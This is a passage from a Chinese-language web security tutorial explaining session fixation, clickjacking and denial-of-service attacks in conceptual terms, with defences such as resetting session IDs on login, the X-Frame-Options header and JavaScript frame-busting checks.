        对以窃取目标会话ID为主要攻击手段的会话劫持而言,会话固定攻击(Session Fixation)攻击会强制用户使用攻击者指定的会话ID,属于被动攻击。让合法用户使用黑客预先设置的SessionID进行登录,从而使Web不再进行生成新的SessionID,从而导致黑客设置的SessionID变成了合法桥梁。会话固定也可以看成是会话劫持的一种类型,原因是会话固定的攻击主要目的同样是获得目标用户的合法会话,不过会话固定还可以是强迫受害者使用攻击者设定的一个有效会话,以此来获得用户的敏感信息。

        攻击步骤:

图片 28

        会话固定攻击案例:

        仍以认证功能为例,对Web网站的认证功能,会在认证前发布一个会话ID,若认证成功,就会在服务器内改变认证状态。

        攻击者准备陷阱,先访问Web网站拿到会话ID(假设是SID=f5d1278e8109),此刻,会话ID在服务器上的记录仍然是未认证状态;攻击者设置好强制用户使用该会话ID的陷阱,并等待用户拿着这个会话ID前去认证。一旦用户触发陷阱并完成认证,会话ID(SID=f5d1278e8109)在服务器上的状态就会被记录下来;攻击者估计用户差不多已经触发陷阱后,再利用之前这个会话ID访问网站,由于该会话ID目前已是用户认证状态,于是攻击者作为用户的身份顺利登陆网站。

        会话固定防御

        1. 每当用户登陆的时候就进行重置SessionID

        2. SessionID闲置过久时,进行重置SessionID

        3. 大部分防止会话劫持的方法对固定攻击同样有效。如设置HttpOnly、关闭透明化SessionID、User-Agent验证、Token校验等。

四、点击劫持

        点击劫持(Clickjacking)是指利用透明的按钮或链接做成陷阱,覆盖在Web页面之上。然后诱使用户在不知情的情况下,点击那个链接访问内容的一种攻击手段。这种行为又称为界面伪装。已设置陷阱的Web页面,表面上内容并无不妥,但早已埋入诱导链接。当用户点击到透明的按钮时,实际上是点击了已指定透明属性元素的iframe页面。

        防御方法:

  • 利用header("X-Frame-Options:DENY");

        DENY:表示拒绝浏览器加载任何frame页面,

        SAMEORIGIN:表示frame页面地址只能是同源域名下的页面,

        ALLOW-FROM origin可自定义允许frame加载页面地址。

  • 通过写一段javascript代码来禁止iframe的嵌套,这种方法叫做frame busting。

    if ( top.location != location ) {

    top.location = self.location;
    

    } //常见的frame busting有一下方式: if (top != self) if (top.location != self.location) if (top.location != location) if (parent.frames.length > 0) if (window != top) if (window.top !== window.self) if (window.self != window.top) if (parent && parent != window) if (parent && parent.frames && parent.frames.length>0) if((self.parent && !(self.parent===self)) && (self.parent.frames.le ngth!=0)) top.location = self.location top.location.href = document.location.href top.location.href = self.location.href top.location.replace(self.location) top.location.href = window.location.href top.location.replace(document.location) top.location.href = window.location.href top.location.href = "URL" document.write('') top.location = location top.location.replace(document.location) top.location.replace('URL') top.location.href = document.location top.location.replace(window.location.href) top.location.href = location.href self.parent.location = document.location parent.location.href = self.document.location parent.location = self.location;

        由于这种方法存在被绕过的可能性,因此最好用第一种方法。

五、DOS攻击

        DOS攻击(Denial of Service attack)是一种让运行中的服务呈停止状态的攻击。有时也叫做服务停止攻击或拒绝服务攻击。DOS攻击的对象不仅限于Web网站,还包括网络设备及服务器等。主要有以下两种DOS攻击方式:

        1. 集中利用访问请求造成资源过载,资源用尽的同时,实际上服务也就处于停止状态。

        2.通过攻击安全漏洞使服务停止

 

参考:

 

本文由10bet手机官网发布于多线程,转载请注明出处:利用cookies获取登录后的网页,web攻击技术与防护

上一篇:表单提交插件之formSerialize 下一篇:python实现的用于搜索文件并进行内容替换的类实例,测试可用
猜你喜欢
热门排行
精彩图文